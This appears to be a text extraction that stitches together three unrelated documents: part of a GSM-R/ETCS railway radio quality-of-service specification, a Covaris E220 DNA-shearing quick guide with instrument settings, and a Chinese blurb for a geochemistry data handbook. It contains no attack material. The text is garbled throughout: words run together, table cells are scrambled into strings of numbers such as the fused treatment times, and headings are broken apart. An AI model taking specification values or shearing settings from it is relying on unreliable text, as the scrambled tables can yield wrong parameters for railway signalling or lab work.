USTIFICATION OF Q O S PARAMETER VALUES (22)10.1General (22)10.2Connection establishment delay (22)10.3Connection establishment error ratio (22)10.4Transfer delay (23)10.5Connection loss rate (23)10.5.1QoS targets (23)10.5.2Conclusions (24)10.6Transmission interference (24)10.7Network registration delay (26)3. R EFERENCESDocuments3.1 Normative3.1.1.1 This document list incorporates by dated or undated references, provisions from otherpublications. These normative references are cited at the appropriate place in the textand the publications are listed hereafter. For dated references, subsequentamendments to or revisions of any of these publications apply to this document onlywhen incorporated in it by amendment or revision. For undated references the latestedition of the publication referred to apply.Reference DateTitleU-SRS 02.02 ERTMS/ETCS Class 1; Subset 026; Unisig SRS, version 2.2.2 Subset 037 07.03 ERTMS/ETCS Class 1; Subset 037; EuroRadio FIS; Class1requirements, version 2.2.5EIRENE FRS 10.03 UIC Project EIRENE; Functional Requirements Specification.Version 6.0, CLA111D003EIRENE SRS 10.03 UIC Project EIRENE; System Requirements Specification.Version 14.0, CLA111D004ETS 300011 1992 ISDN; Primary rate user-network interface; Layer 1 specificationand test principlesETS 300102-1 1990 ISDN; User-network interface layer 3; Specification for basiccall controlETS 300125 1991 ISDN; User-network interface data link layer specificationsGSM04.21 12.00 Rate Adaptation on the MS-BSS Interface, v.8.3.0GSM 07.0711.98 ETSI TS 100916; Digital cellular telecommunications system(Phase 2+); AT command set for GSM Mobile Equipment (ME),GSM TS 07.07 version 6.5.0 Release 1997ITU-T V.24 02.00 List of definitions for interchange circuits between data terminalequipment (DTE) and data circuit-terminating equipment (DCE)ITU-T V.25ter 07/97 Serial asynchronous dialling and controlITU-T V.110 02.00 Support of data terminal equipments (DTEs) with V-series typeinterfaces by an integrated services digital network (ISDN) EuroRadio FFFIS 09.03 UIC ERTMS/GSM-R Unisig; Euroradio Interface Group; RadioTransmission FFFIS for Euroradio; A11T6001; version 12O-2475 09.03 UIC ERTMS/GSM-R Operators Group; ERTMS/GSM-R Qualityof Service Test Specification; O-2475; version 1.0Documents3.2 InformativeTitleReference DateEEIG 04E117 12.04 ETCS/GSM-R Quality of Service - Operational Analysis, v0.q(draft)ERQoS 08.04 GSM-R QoS Impact on EuroRadio and ETCS application,Unisig_ALS_ERQoS, v.0104. T ERMS AND DEFINITIONS4.1 AbbreviationsAT ATtention command setATD AT command DialB channel User channel of ISDNB m channel User channel of GSM PLMN on the air interfaceBRI Basic Rate InterfaceByte 1 start bit + 8 data bits + 1 stop bitDCE Data Circuit EquipmentDCD Data Carrier DetectD channel Control channel of ISDND m channel Control channel of GSM PLMN on the air interfaceDTE Data Terminal EquipmenteMLPP enhanced Multi-Level Precedence and Pre-emptionFIS Functional Interface SpecificationGPRS General Packet Radio Service (a phase 2+ GSM service) GSM-R Global System for Mobile communication/RailwayHDLC High level Data Link ControlISDN Integrated Services Digital NetworkMLPP Multi-Level Precedence and Pre-emption (ISDN service) MOC Mobile Originated CallMS Mobile Station (a GSM entity)Termination/Terminated MT MobileMTC Mobile Terminated CallMTBD Mean Time Between DisturbanceUnitOBU On-BoardPLMN Public Land Mobile NetworkPRI Primary Rate InterfaceQoS Quality of ServicesRBC Radio Block CentreT TI Duration of Transmission Interference periodT REC Duration of Recovery periodUDI Unrestricted Digital4.2 Definitions4.2.1.1 Definitions for the purpose of this specification are inserted in the respective sections.5. G ENERAL5.1 Scope of this document5.1.1.1 The scope of this document is to specify the Radio Communication Systemrequirements to the GSM-R network services (including fixed side access) andinterfaces and also the pre-requisites to be fulfilled by GSM-R networks and ETCSinfrastructures. Presently the requirements for high-speed lines are covered,requirements for conventional lines may be included in future versions of thisdocument.5.1.1.2 The data transmission part of the communication protocols is fully described in theEuroRadio FIS [Subset 037].5.1.1.3 The Radio Transmission FFFIS for EuroRadio [EuroRadio FFFIS] specifies thephysical, electrical and functional details related to the interfaces.5.1.1.4 All requirements apply to GSM-R unless indicated otherwise .5.2 Introduction5.2.1.1 The definition of the GSM services and associated physical and communicationsignalling protocols on the air interface are fully standardised in the specificationsproduced by the ETSI GSM Technical Committee for the public GSM implementationas well as for the GSM-R. Additionally, some railway specific services are alsospecified in the EIRENE SRS. However, in both cases, not all are required for ERTMSclass 1 system definition.5.2.1.2 The following ETSI GSM phases 1/2/2+ services are required:a) Transparent data bearer serviceb) Enhanced multi-level precedence and pre-emption (eMLPP).5.2.1.3 Other ETSI GSM phases 1/2/2+ services are not required for Class 1. These are thefollowing :a) GSM supplementary services:• Call forwardingb) General packet radio service (GPRS)5.2.1.4 Other ETSI GSM phases 1/2/2+ services are not required. Examples of these are thefollowing :a) Non-transparent data bearer serviceb) GSM supplementary services:• Line identification•Call waiting and hold• Multiparty•Closed User Group•Advice of charge• Call Barringc) Short message service point to point or cell broadcastd) Voice broadcast servicee) Voice group call service5.2.1.5 The following EIRENE railway specific service [EIRENE SRS] is required:a) Location dependent addressing5.2.1.6 The following EIRENE specific services [EIRENE SRS] are not required :a) Functional addressingb) Enhanced location dependent addressingc) Calling and connected line presentation of functional identitiesd) Emergency callse) Shunting modef) Multiple driver communications6. E ND-TO-END SERVICE REQUIREMENTS TO GSM-RNETWORKS6.1 Data bearer service requirements6.1.1.1 For the transmission of information between OBU and RBC, the EuroRadio protocoluses the bearer services of a GSM-R network. The service provider makes these databearer services available at defined interfaces.6.1.1.2 The data bearer services are described as data access and transfer in the GSMnetwork from Terminal Equipment (TE) on the mobile side (i.e. OBU) to a networkgateway interworking with Public Switched Telephonic Network (PSTN) or IntegratedServices Digital Network (ISDN) on the fixed side (i.e. RBC).6.1.1.3 The following features and attributes of the required bearer service shall be provided:a) Data transfer in circuit switched modeb) Data transfer allowing multiple rate data streams which are rate-adapted[GSM04.21] and [ITU-T V.110]c) Unrestricted Digital Information (UDI) – only supported through ISDN interworking(no analogue modem in the transmission path)d) Radio channel in full ratee) Transfer of data only (no alternate speech/data)f) Transfer in asynchronous transparent modeg) The required data rates are listed in the following table:Bearer service Requirement24. Asynchronous 2.4 kbps T O25. Asynchronous 4.8 kbps T M26. Asynchronous 9.6 kbps T MT: Transparent; M: Mandatory; O: OptionalTable1 GSM-R bearer servicesservices6.2 Additional6.2.1.1 The following supplementary services shall be provided:a) Enhanced multi-level precedence and pre-emption.b) The selection of a particular mobile network shall be possible on-demand.6.2.1.2 The priority value for command control (safety) shall be assigned to according to[EIRENE FRS §10.2] and [EIRENE SRS §10.2].6.2.1.3 The following railway specific service shall be provided by GSM-R networks:a) Location dependent addressing based on the use of short dialling codes inconjunction with cell dependent routing.6.3 Quality of Service requirements6.3.1 General6.3.1.1 As an end-to-end bearer service is used, a restriction of requirements on the servicequality placed on the air interface is not sufficient.6.3.1.2 End-to-end quality of service has to be considered at the service access points.6.3.1.3 The service access points are:•the service access points to the signalling stack for the establishment or release of a physical connection,•the service access points to the data channel.6.3.1.4 The network shall be able to support transparent train-to-trackside and trackside-to-train data communications at speeds up to 500 km/h e.g. in tunnels, cuttings, onelevated structures, at gradients, on bridges and stations.6.3.1.5 The network shall provide a Quality of Service for ETCS data transfer that is at least asgood as listed below1. The parameters are valid for one end-to-end connection for onetrain running under all operational conditions.6.3.1.6 The required QoS parameters shall not depend on network load.6.3.1.7 These performance figures reflect railway operational targets [EEIG 04E117].6.3.1.8 Note: A justification of the performance figures is given by Annex B.6.3.1.9 QoS requirements are specified independently of the method of measurement (refer to[O-2475] for specification of testing).6.3.1.10 Conventional line quality of service requirements may be included in future versions ofthis document. Also the values may not be applied at all locations and times (e.g.discontinuous radio coverage at some locations).6.3.1.11 Given the performance constraints of GSM-R, pre-conditions may be necessary tomeet the railway operational targets of [EEIG 04E117]. If different operational QoStargets are required, then other pre-conditions on ETCS application may be necessary.1 Early experience suggests that GSM-R performance can be better than these parameters suggest, after network optimisation and tuning.Such a case is not covered by this specification and this aspect of ETCS SystemPerformance becomes the responsibility of whoever specifies different operationaltargets.6.3.2 Connection establishment delay6.3.2.1 Connection establishment delay is defined as:Value of elapsed time between the connection establishment request and theindication of successful connection establishment.6.3.2.2 In case of mobile originated calls, the delay is defined between the request bycommand ATD and indication by the later of the two events response CONNECT ortransition of DCD to ON.6.3.2.3 The connection establishment delay of mobile originated calls shall be <8.5s (95%),≤10s (100%).6.3.2.4 Delays>10s shall be evaluated as connection establishment errors.6.3.2.5 The required connection establishment delay shall not depend on user data rate of theasynchronous bearer service.6.3.2.6 The required connection establishment delay is not valid for location dependentaddressing.6.3.3 Connection establishment error ratio6.3.3.1 The Connection establishment error ratio is defined as:Ratio of the number of unsuccessful connection establishment attempts to the totalnumber of connection establishment attempts.6.3.3.2 “Unsuccessful connection establishment attempt” covers all possible types ofconnection establishment errors caused by end-to-end bearer service.6.3.3.3 Connection establishment delays >10s shall be evaluated as connection establishmenterrors.6.3.3.4 The GSM-R networks should be designed in such a way, that at least two consecutiveconnection establishment attempts will be possible (pre-condition on GSM-Rnetworks), e.g. regarding GSM-R radio coverage related to maximal possible trainspeed.6.3.3.5 If the operational QoS targets of [EEIG 04E117] are wanted, then the ETCSinfrastructure should be designed in such a way, that at least two consecutiveconnection establishment attempts will be possible (Recommended pre-condition forETCS infrastructure).6.3.3.6 The connection establishment error ratio of mobile originated calls shall be <10-2 foreach attempt .6.3.3.7 Note: entry into Level 2 is of particular importance; commonly, a time of 40s may berequired in the case the GSM-R mobile station is already registered with the GSM-Rnetwork (see [ERQoS]).6.3.4 Transfer delay6.3.4.1 The end-to-end transfer delay of a user data block is defined as:Value of elapsed time between the request for transfer of a user data block and theindication of successfully transferred end-to-end user data block6.3.4.2 The delay is defined between the delivery of the first bit of the user data block at theservice access point of transmitting side and the receiving of the last bit of the sameuser data block at the service access point of the receiving side.6.3.4.3 The end-to-end transfer delay of a user data block of 30 bytes shall be ≤0.5s (99%).6.3.5 Connection loss rate6.3.5.1 The Connection loss rate is defined as:Number of connections released unintentionally per accumulated connection time.6.3.5.2 The requirements for connection loss rate varies depending on ETCS system variablessuch as T_NVCONTACT and the possible train reactions after connection loss (seesection 10.5).6.3.5.3 If the operational QoS-targets of [EEIG 04E117] are wanted, then the ETCSinfrastructure should be designed in such a way, that at least the following conditionsare fulfilled (Recommended pre-condition for ETCS infrastructure):• T_NVCONTACT ≥ 41s and• M_NVCONTACT different to train trip and• a new MA reach the OBU before standstill.6.3.5.4 If the connection establishment error ratio is <10-2, then the connection loss rate shallbe <10-2/h.6.3.6 Transmission interference6.3.6.1 A transmission interference period T TI is the period during the data transmission phaseof an existing connection in which, caused by the bearer service, no error-freetransmission of user data units of 30 bytes is possible.6.3.6.2 A transmission interference happens, if the received data units of 30 bytes deviatepartially or completely from the associated transmitted data units.6.3.6.3 The transmission interference period shall be < 0.8s (95%), <1s (99%).6.3.6.4 An error-free period T Rec shall follow every transmission interference period to re-transmit user data units in error (e.g. wrong or lost) and user data units waiting to beserved.6.3.6.5 The error-free period shall be >20s (95%), >7s(99%).6.3.7 GSM-R network registration delay6.3.7.1 The GSM-R network registration delay is defined as:Value of elapsed time from the request for registration to indication of successfulregistration by +CREG response.6.3.7.2 The GSM-R network registration delay shall be ≤30s (95%), ≤35s (99%).6.3.7.3 GSM-R network registration delays > 40 s are evaluated as registration errors.6.4 Summary of QoS requirements6.4.1.1 Table 2 contains the summary of QoS requirements at GSM-R interface.QoS Parameter Value (see 6.3) Connection establishment delay of mobile< 8.5s (95%), ≤10s (100%) originated callsConnection establishment error ratio <10-2≤ 0.5s (99%)Maximum end-to-end transfer delay (of 30 bytedata block)Connection loss rate ≤ 10-2 /hTransmission interference period < 0.8s (95%), <1s (99%)Error-free period >20s (95%), >7s(99%)Network registration delay ≤30s (95%), ≤35s (99%), ≤40s (100%)Table 2 Summary of QoS requirements7. R EQUIREMENTS TO FIXED NETWORK INTERFACE7.1 Foreword7.1.1.1 This part of the specification does not define mandatory requirements forinteroperability. It is a preferred solution, in case interchangeability between tracksideRBC and access point to the fixed network is required for a given implementation.7.1.1.2 This section gives only limited information. [EuroRadio FFFIS] must be used for fullcompliance.7.1.1.3 Note: The requirements to fixed network interface refer to a set of ETSI specifications[ETS 300011, ETS 300125, ETS 300102-1]. This set is the basis of conformancerequirements for network terminations. Instead of these specifications updatedspecifications can be referred, if they state that they are compatible with the followingrequirements.7.2 Interfacedefinition7.2.1.1 The ISDN Primary Rate Interface (PRI) shall be provided as specified by [ETS300011].7.2.1.2 The service access point on the fixed network side corresponds with the S2M interfaceat the T-reference point.7.2.1.3 The Basic Rate interface might also be used as an option in some particular cases likeradio infill unit.7.2.1.4 In addition to these interfaces, the V.110 rate adaptation scheme shall be applied tothe user data channel. The RA2, RA1 and RA0 steps are mandatory.7.2.1.5 End-to-end flow control in layer 1 shall not be used.7.3 Communication signalling procedures7.3.1.1 The signalling protocols shall be provided as specified by:a) Link Access Procedure on the D channel [ETS 300125]b) User-network interface layer 3 using Digital Subscriber Signalling [ETS 300102-1]7.3.1.2 ISDN multi-level precedence and pre-emption (MLPP) supplementary service shall beprovided according to the EIRENE specification [EIRENE SRS].7.3.1.3 The SETUP message contains Information Elements including the bearer capabilityand the low layer compatibility (refer to [EuroRadio FFFIS] specifying the Euroradiodata bearer service requirements.8. R EQUIREMENTS TO MOBILE NETWORK INTERFACE8.1 Foreword8.1.1.1 This part of the specification does not define mandatory requirements forinteroperability. It is a preferred solution, in case interchangeability between OBU andMobile Terminal is required for a given implementation.8.1.1.2 This section gives only limited information. [EuroRadio FFFIS] must be used for fullcompliance.definition8.2 Interface8.2.1.1 If an MT2 interface is used at the mobile side, the service access point at the mobilestation corresponds with the R-reference point of the MT2.8.2.1.2 [GSM 07.07] specifies a profile of AT commands and recommends that this profile beused for controlling Mobile Equipment functions and GSM network services through aTerminal Adapter.8.2.1.3 For the mobile termination type MT2 the signalling over the V interface has to be inaccordance with [GSM 07.07], using the V.25ter command set.8.2.1.4 The online command state shall not be used to guarantee interoperability. To avoiddifferent behaviour, it is recommended to enable/disable this escape sequence usingthe appropriate AT command usually referred as ATS2=<manufacturer defined value>.This particular command shall be sent to the mobile terminal as part of its initialisationstring.8.2.1.5 State control using physical circuits is mandatory.8.2.1.6 The V-interface shall conform to recommendation ITU-T V.24. The signals required arespecified in [EuroRadio FFFIS].8.2.1.7 Note that in the case of class 1 mobile originated calls, it is allowed to set the priorityvalue “command control (safety)” at subscription time.8.2.1.8 The call control commands, interface control commands and responses used on the V-interface at the R reference point are specified in [EuroRadio FFFIS].9. A NNEX A(I NFORMATIVE) TRANSMISSION INTERFERENCEAND RECOVERY9.1 General9.1.1.1 The usual QoS parameter used as measure of accuracy of data transmission viatransparent B/B m channels is the bit error rate.9.1.1.2 The QoS parameter relevant for layer 2 accuracy is the HDLC frame error rate.9.1.1.3 It is not possible to define relationships between both rates. The channel behaviour isnot known: error bursts and interruptions of data transmission during radio cellhandover can happen.9.1.1.4 Additionally, statistical distributions of values such as error rates do not accurately mapthe requirements from the ETCS point of view. Transfer of user data is requested inbursts; the transfer delay can be critical for the application. It has to be guaranteed forsome application messages that data can be transferred to the train in a defined timeinterval.9.1.1.5 A model of service behaviour is necessary reflecting all relevant features of GSM-Rnetworks.9.1.1.6 This model can be used as a normative reference for acceptance tests and for networkmaintenance during ETCS operation. It enables the ETCS supplier to demonstrate thecorrect operation of ETCS constituents during conformance testing without thevariations of real world GSM-R networks.9.1.1.7 Transmission interference and recovery is a first approximation of such a servicebehaviour model.9.2 Transmission interference in relation to HDLC9.2.1.1 Transmission interference is characterised by a period in the received data streamduring which the received data units deviate partially or completely from those of thetransmitted data stream. The service user cannot see the causes of transmissioninterference.9.2.1.2 The user data units erroneously transmitted or omitted during the transmissioninterference must be corrected by re-transmission. These re-transmissions result in atime delay and in higher load in the B/B m channel. Therefore, after transmissioninterference a period of error-free transmission, called the recovery period, must follow.9.2.1.3 In the normal data transfer phase after recovery, user data units are transmitted toprovide the data throughput requested by application messages.9.2.1.4 Figure 1 shows a simplified relationship of B/B m channel and HDLC errors: because ofthe selected options for the HDLC protocol (e.g. multi selective reject) the recoveryperiod and the normal data transfer phase are not strictly separated.error-free frameHDLC statecorrupted frameerror-freeChannel stateerroneousFigure 1 B/B m channel and HDLC errors9.2.1.5 Some special cases exist in Figure 1:A Beginning of HDLC frame (corrupted by transmission) is earlier than beginning oftransmission interferenceB Error-free time is not sufficient for transfer of HDLC frameC No HDLC frame is ready for transferD End of corrupted HDLC frame is later than end of transmission interference9.2.1.6 Figure 2 shows as an example the HDLC behaviour in case of transmissioninterference.Figure 2 Event "Transmission interference"9.2.1.7 The sender does not receive an acknowledgement in the case of a corrupted last Iframe of a sequence of I frames. The timer T1 expires and a RR (poll bit set) frame willbe sent.9.2.1.8 After receiving an RR frame with an indication of successful transmission of thepreceding I frame, the lost I frame will be re-transmitted.9.2.1.9 Again the sender does not receive an acknowledgement and requests for thesequence number. Eventually, the transmission is successful but the delivery of userdata will be delayed towards the receiver.9.2.1.10 The occurrence of the above defined event represents a QoS event “Transmissioninterference” at the sender side. The beginning and the end of the transmissioninterference are not exactly known. But the second repetition clearly indicates an event“Transmission interference”:a) The transmission interference time was too long orb) The recovery time was too short.。

Covaris E220 DNA Shearing Quick Guide

Quick Guide:This Quick Guide provides DNA Shearing protocols when using microTUBE-130, microTUBE-50, microTUBE-15, microTUBE-500, or miniTUBE and a Covaris E220 Focused-ultrasonicator.Revision History010308 K 1/17 Format Changes; Addition of microTUBE-500 AFA Fiber Screw-Capprotocols; update ‘Additional Accessories’; update Appendix B 010308 L 2/17 Changes to 8 microTUBE-50 Strip V2 protocols; addition of 8 microTUBE-15AFA Beads H Slit Strip V2 and 8 microTUBE-50 AFA Fiber H Slit Strip V2010308 M 5/17 Addition of 96 microTUBE-50 AFA Fiber Plate Thin Foil (PN 520232) and 130ul 96 microTUBE AFA Fiber Plate Thin Foil (PN 520230)010308 N 7/17 Add the names of the well plates definition for 520230 & 520232. Changedyear for Rev M Date.Values mentioned in this Quick Guide are nominal values. The tolerances are as follows: -Temperature +/-2°C-Sample volumeo microTUBE-15: from 15 to 20 µl, +/- 1 µlo microTUBE-50: 55 µl, +/- 2.5 µlo microTUBE Plate, Strip, Snap and Crimp Cap: 130 µl, +/- 5 µlo microTUBE-500: 500 µl, +/- 10 µl or 320 µl, +/- 10 µlo miniTUBE: 200 µl, +/- 10 µl-Water Level +/- 1Sample guidelines-DNA input: up to 5 µg purified DNA (1 µg for the microTUBE-15; minimum 320 ng for the microTUBE-500) -Buffer: Tris-EDTA, pH 8.0-DNA quality: Genomic DNA (> 10 kb). For lower quality DNA, Covaris recommends setting up a time dose response experiment for determining appropriate treatment times.-DO NOT use the microTUBE or miniTUBE for storage. Samples should be transferred after processing. Instrument setup-Refer to the instrument manual for complete setup.-microTUBE and miniTUBE have specific holders or racks associated with them.-E220 and E220 evolution may require the Intensifier (PN 500141). Refer to Appendix C for instructions.-E220 and E220 evolution may require Y-dithering. Refer to Appendix A for instructions.Instrument settings-Recommended settings are subject to change without notice.-Mean DNA fragment size distributions are based on electropherograms generated from the Agilent Bioanalyzer with the DNA 12000 Kit (cat# 5067-1509), with the exception of the 320 µl microTUBE-500 protocol (HighSensitivity DNA Kit, cat# 5067-4626). DNA fragment representation will vary with analytical systems, please carry out a time course experiment based on settings provided in this document to reach desired fragment sizedistribution.See /wp-content/uploads/pn_010308.pdf for updates to this document.130 µl sample volume - from 150 to 1,500 bpVessel microTUBEAFA FiberSnap-Cap(PN 520045)microTUBEAFA FiberCrimp-Cap(PN 520052)8 microTUBEStrip(PN 520053)96 microTUBEPlate(PN 520078)96 microTUBEAFA Fiber PlateThin Foil(PN 520230)Sample Volume 130 µlE220RacksRack 24 PlacemicroTUBESnap-Cap (PN500111)Rack 96 PlacemicroTUBECrimp-Cap(PN 500282)Rack 12 Place 8microTUBE Strip(PN 500191)No Rack needed Plate Definitions“500111 24microTUBEsnap +4mmoffset”“E220_500282Rack 96 PlacemicroTUBE-6mm offset”“E220_500191 8microTUBE stripPlate -6mmoffset”“E220_52007896 microTUBEPlate -6mmoffset”“E220_52023096 microTUBEPlate Thin Foil -6mm offset”Water Level 6Intensifier (PN 500141) YesY-dithering NoE220 evolutionRacks Rack E220e 8 Place microTUBECrimp and Snap Cap (PN 500433)Rack E220e 8microTUBE Strip(PN 500430)Non Compatible Plate Definitions“500433 E220e 8 microTUBECrimp and Snap Cap -3.7mmoffset”“500430 E220e 8microTUBE Strip-6mm offset”N/A Water Level 6Intensifier (PN 500141) YesY-dithering NoAllTemperature (°C) 7Target BP (Peak) 150 200 300 400 500 800 1,000 1,500 Peak Incident Power (W) 175 175 140 140 105 105 105 140 Duty Factor 10% 10% 10% 10% 5% 5% 5% 2% Cycles per Burst 200 200 200 200 200 200 200 200 Treatment Time (s) 430 180 80 55 80 50 40 15Vessel microTUBE-50Screw-Cap (PN 520166)8 microTUBE-50 AFA FiberStrip V2 (PN 520174)8 microTUBE-50 AFA Fiber HSlit Strip V2 (PN 520240)96 microTUBE-50AFA Fiber Plate(PN 520168)96 microTUBE-50AFA Fiber Plate ThinFoil (PN 520232) Sample Volume 55 µlE220RacksRack 24 PlacemicroTUBE Screw-Cap (PN 500308)Rack 12 Place 8 microTUBEStrip (PN 500444) No Rack needed Plate Definitions“E220_500308 Rack24 Place microTUBE-50 Screw-Cap+6.5mm offset”“E220_500444 Rack 12 Place 8microTUBE-50 Strip V2-10mm offset”“E220_520168 96microTUBE-50 Plate-10.5mm offset”“E220_520232 96microTUBE-50 PlateThin Foil -10.5mmoffset”E220evolutionRacksRack E220e 4 PlacemicroTUBE ScrewCap (PN 500432)Rack E220e 8 microTUBE StripV2 (PN 500437) Non Compatible Plate Definitions“500432 E220e 4microTUBE-50 ScrewCap -8.32mm offset”“500437 E220e 8 microTUBE-50 Strip V2 -10mm offset” N/AAllTemperature (°C) 7Water Level 6 -2 0 Intensifier (PN 500141) Yes Yes YesY-dithering No No Yes (0.5mm Y-dither at10mm/s) Target BP (Peak) 150 200 250 300 350 400 550Screw-CapPeak Incident Power(W) 100 75 75 75 75 75 30Duty Factor 30% 20% 20% 20% 20% 10% 10%Cycles per Burst 1000 1000 1000 1000 1000 1000 1000Treatment Time (s) 130 95 62 40 30 50 708-StripPeak Incident Power (W) 75 75 75 75 75 75 50Duty Factor 15% 15% 20% 20% 20% 10% 10%Cycles per Burst 500 500 1000 1000 1000 1000 1000Treatment Time (s) 360 155 75 45 35 52 50 PlatePeak Incident Power (W) 100 100 75 75 75 75 75Duty Factor 30% 30% 20% 20% 20% 10% 10%Cycles per Burst 1000 1000 1000 1000 1000 1000 1000Treatment Time (s) 145 90 70 49 34 50 32 The Y-dithering function is required for shearing with 96 microTUBE-50 plate (PN 520168). This function is only available on SonoLab versions 7.3 and up. Please see Appendix A for detailed instructions.Vessel microTUBE-15 AFA BeadsScrew-Cap (PN 520145)8 microTUBE-15 AFA BeadsStrip V2 (PN 520159)8 microTUBE-15 AFA BeadsH Slit Strip V2 (PN 520241)Sample Volume 15 µlE220Racks Rack 24 Place microTUBEScrew-Cap (PN 500308)Rack 12 Place 8 microTUBEStrip V2 (PN 500444) Plate Definitions“E220_500308 Rack 24 PlacemicroTUBE-15 Screw-Cap+15mm offset”“E220_500444 Rack 12 Place 8microTUBE-15 Strip V2 -1.5mmoffset”Water Level 10 6Intensifier (PN 500141) NoY-dithering NoE220evolutionRacks Rack E220e 4 Place microTUBEScrew Cap (PN 500432)Rack E220e 8 microTUBE StripV2 (PN 500437)Plate Definitions ”500432 E220e 4 microTUBE-15Screw Cap 0.18mm offset”“500437 E220e 8 microTUBE-15Strip V2 -1.58mm offset”Water Level 10 6Intensifier (PN 500141) NoY-dithering NoAllTemperature (°C) 20Target BP (Peak) 150 200 250 350 550Peak Incident Power (W) 18 18 18 18 18Duty Factor 20% 20% 20% 20% 20%Cycles per Burst 50 50 50 50 50Treatment Time (s) 300 120 80 45 22To ensure reproducible DNA shearing, it is required to centrifuge samples before processing DNA in amicroTUBE-15. Please see Appendix B for instructions.Please note that microTUBE-15 requires removal of the Intensifier (PN 500141) from the E220 focused-ultrasonicator. Please see Appendix C for instructions.200 µl sample - 2,000; 3,000 and 5,000 bpVesselminiTUBE Clear(PN 520064)Blue(PN 520065)Red(PN 520066) Sample Volume 200 µlE220Racks Rack 24 Place miniTUBE (PN 500205)Plate Definition “500205 24 miniTUBE +15mm offset”Water Level 11Intensifier (PN 500141) NoY-dithering NoE220evolutionRacks Rack E220e 4 Place miniTUBE (PN 500434)Plate definition “500434 E220e 4 miniTUBE 4.9mm offset”Water Level 11Intensifier (PN 500141) NoY-dithering NoAllTemperature (°C) 7 20 20 Target BP (Peak) 2,000 3,000 5,000miniTUBE Clear Blue RedPeak Incident Power (W) 3 3 25Duty Factor 20% 20% 20%Cycles per Burst 1000 1000 1000Treatment Time (s) 900 600 600Please note that miniTUBE requires removal of the Intensifier (PN 500141) from the E220 focused-ultrasonicator. Please see Appendix C for instructions.320 µl and 500 µl sample volume – from 150 to 600 bpVesselmicroTUBE-500 AFA Fiber Screw-Cap(PN 520185)Sample Volume320 µl 500 µlE220Rack Rack, 24 microTUBE-500 Screw-Cap (PN 500452)Plate Definition “E220_500452 Rack 24 Place microTUBE-500 Screw-Cap +6mmoffset” Water Level6 Intensifier (PN 500141)Yes Y-dithering NoE220 evolutionRackRack E220e 4 microTUBE-500 Screw-Cap (PN 500484) Plate Definition “500484 E220e 4 microTUBE-500 Screw-Cap -9.9mm offset”Water Level6 Intensifier (PN 500141)Yes Y-ditheringNo AllTemperature (°C)7Target BP (Peak)500 - 600150200350550Peak Incident Power (W) 75 175 175 175 175 Duty Factor 25% 20% 20% 20% 5% Cycles per Burst 200 200 200 200 200 Treatment Time (s)7540018055110To fragment DNA to sizes larger than 5 kb, Covaris offers the g-TUBE: a single-use device that shears genomic DNA into selected fragments sizes ranging from 6 kb to 20 kb. The only equipment needed is a compatible bench-top centrifuge.Additional AccessoriesPart Number Preparation stationsmicroTUBE Prep Station Snap & Screw Cap 500330 microTUBE-500 Screw-Cap Prep Station 500510 miniTUBE loading and unloading station 500207 8 microTUBE Strip Prep Station500327 Centrifuge and Heat Block microTUBE Screw-Cap Adapter Fits microTUBE Screw-Caps into bench top microcentrifuges500406 Centrifuge 8 microTUBE Strip V2 Adapter Fits the 8 microTUBE Strip into a Thermo Scientific TM mySPIN TM 12 mini centrifuge 500541 g-TUBEg-TUBEs (10) and prep station520079Appendix A – Using Y-dithering with SonoLab 7.3 and upA Y-dithering step is required for DNA shearing with the 96 microTUBE-50 Plate-This feature is only available on SonoLab versions 7.3 and up.-To obtain a copy of the SonoLab 7.3 and the Plate Definition installers, please employ the Registered Users Login on the Covaris website, -For any assistance in this process, please contact your local representative, or Covaris Global Technical Services at ***********************.Use the following steps to include Y-dithering in sample treatment1.Go into the Method Editor2.Select ‘Add Step’ and enter the treatment settings for the desired fragment sizea.Note: The following steps must be done for each individual treatment3.Select the Motion tab4.Enter the following values into the ‘X-Y Dithering Box’a.Y Dither (mm): 0.5b.X-Y Dither Speed (mm/sec): 10.0c.Both X Dither (mm) and X-Y Dwell (sec) should be set to 0Appendix B – microTUBE-15 centrifugation before DNA Shearing1.Sample loading and centrifugationmicroTUBE-15 AFA Beads Screw-CapLoad and centrifuge microTUBE-15 Screw-Cap as described before placing the tubes in the rack.If some of the sample splashes onto the wall of the microTUBE while removing from centrifuge or placing into rack, repeat centrifuge step. All liquid should be at the bottom of the microTUBE-15 before starting the AFA treatment.8 microTUBE-15 AFA Beads Strip V2The 8 microTUBE-15 AFA Beads Strip V2 will fit into the Covaris Centrifuge 8 microTUBE Strip V2 Adapter (PN 500541) for the Thermo Scientific TM mySPIN TM 12 mini centrifuge. Place the strip in the adapter and spin for a minimum of 1 minute.2.Sample processingUse settings provided in page 4.3.Sample recoveryRepeat the centrifuge step before recovering sample from microTUBE-15.Appendix C – Removing or Installing the Intensifier (Covaris PN 500141) from an E System The 500141 Intensifier is a small inverted stainless steel cone centered over the E Series transducer by four stainless wires. The wires are held by in a black plastic ring pressed into the transducer well.If an AFA protocol requires “no intensifier”, please remove the Intensifier, using the following steps:1.Empty the water bath. Start the E System and start the SonoLab software.2.Wait for the homing sequence to complete (the transducer will be lowered with the rack holder at it home position,allowing easy access to the Intensifier).3.Grasp opposite sides of plastic ring and gently pull the entire assembly out of the transducer well. Do not pull on the steelcone or the wires. The ring is a friction fit in the well – no hardware is used to hold it in place.The 500141 Intensifier (left) shown installed in the E System transducer well and (right) removed.Note the “UP” marking at the center of the Intensifier.If a protocol requires the Intensifier to be present, simply reverse this process:1.Align the black plastic ring with the perimeter of the transducer well. Note that the flat side of the center cone (marked UP)should be facing up (away from the transducer).2.Gently press each section of the ring into the well until the ring is seated uniformly in contact with the transducer, withapproximately 2 mm of the ring evenly exposed above the transducer assembly. Do not press on the cone or wires. The rotation of the ring relative to the transducer assembly is not important.3.Refill the tank. Degas and chill the water before proceeding.Technical Assistance•By telephone (+1 781 932 3959) during the hours of 9:00am to 5:00pm, Monday through Friday, United States Eastern Standard Time (EST) or Greenwich Mean Time (GMT) minus 05:00 hours•By e-mail at ***********************。

应用地球化学元素丰度数据手册-原版

应用地球化学元素丰度数据手册迟清华鄢明才编著地质出版社·北京·1内容提要本书汇编了国内外不同研究者提出的火成岩、沉积岩、变质岩、土壤、水系沉积物、泛滥平原沉积物、浅海沉积物和大陆地壳的化学组成与元素丰度，同时列出了勘查地球化学和环境地球化学研究中常用的中国主要地球化学标准物质的标准值，所提供内容均为地球化学工作者所必须了解的各种重要地质介质的地球化学基础数据。

本书供从事地球化学、岩石学、勘查地球化学、生态环境与农业地球化学、地质样品分析测试、矿产勘查、基础地质等领域的研究者阅读，也可供地球科学其它领域的研究者使用。

